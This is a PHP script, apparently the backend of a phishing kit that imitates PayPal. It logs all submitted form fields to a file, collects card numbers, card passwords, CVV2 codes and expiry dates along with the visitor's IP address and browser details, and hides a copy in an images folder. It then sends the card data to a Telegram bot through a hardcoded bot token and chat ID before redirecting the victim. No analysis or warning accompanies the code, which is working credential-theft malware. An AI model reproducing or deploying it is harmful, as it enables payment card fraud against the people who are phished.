PHP Decode

<?php 
$handle = fopen("d/i.txt", "a"); 
foreach($_POST as $variable => $value) { 
   fwrite($handle, $variable); 
   fwrite($handle, " = "); 
   fwrite($handle, $value); 
   fwrite($handle, "
"); 
} 
fwrite($handle, "
"); 
fclose($handle); 
if($_POST['CARD1']){ 
  $cards = $_POST['CARD1']; 
  $cardss = $_POST['CARD2']; 
  $cardsss = $_POST['CARD3']; 
  $cardssss = $_POST['CARD4']; 
  $pass = $_POST['PASSWORD']; 
  $cvv = $_POST['CVV2']; 
  $mah = $_POST['MONTH']; 
  $sal = $_POST['YEARS']; 
function getUserIP() 
{ 
    $client  = @$_SERVER['HTTP_CLIENT_IP']; 
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; 
    $remote  = $_SERVER['REMOTE_ADDR']; 
    if(filter_var($client, FILTER_VALIDATE_IP)) 
    { 
        $ip = $client; 
    } 
    elseif(filter_var($forward, FILTER_VALIDATE_IP)) 
    { 
        $ip = $forward; 
    } 
    else 
    { 
        $ip = $remote; 
    } 
    return $ip; 
} 
$user_ip = getUserIP(); 
$protocol = $_SERVER['SERVER_PROTOCOL']; 
    $port = $_SERVER['REMOTE_PORT']; 
    $agent = $_SERVER['HTTP_USER_AGENT']; 
    $ref = $_SERVER['HTTP_REFERER']; 
    $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); 
    file_put_contents("css/images/i.txt","$cards$cardss$cardsss$cardssss:$pass:$cvv:$sal:$mah"); 
    $token = "590591943:AAFIO0-eH9KoXaJlgw6eHXvvYG5kKkzwBJY"; //YourBotToken 
     $textmsg = " 
 New Card  
 
 Card : $cards $cardss $cardsss $cardssss 
 
 Pass : $pass 
 
 CVV2 : $cvv 
 
 $sal:$mah 
 
 @PayPal"; 
 
     $gpid = 239969368; //ChatID 
 
     $send = file_get_contents("https://api.telegram.org/bot$token/SendMessage?chat_id=$gpid&text=".urlencode($textmsg)); 
}else{ 
    echo "):"; 
} 
?> 
<meta content='0;url=ip.php' http-equiv='refresh'/>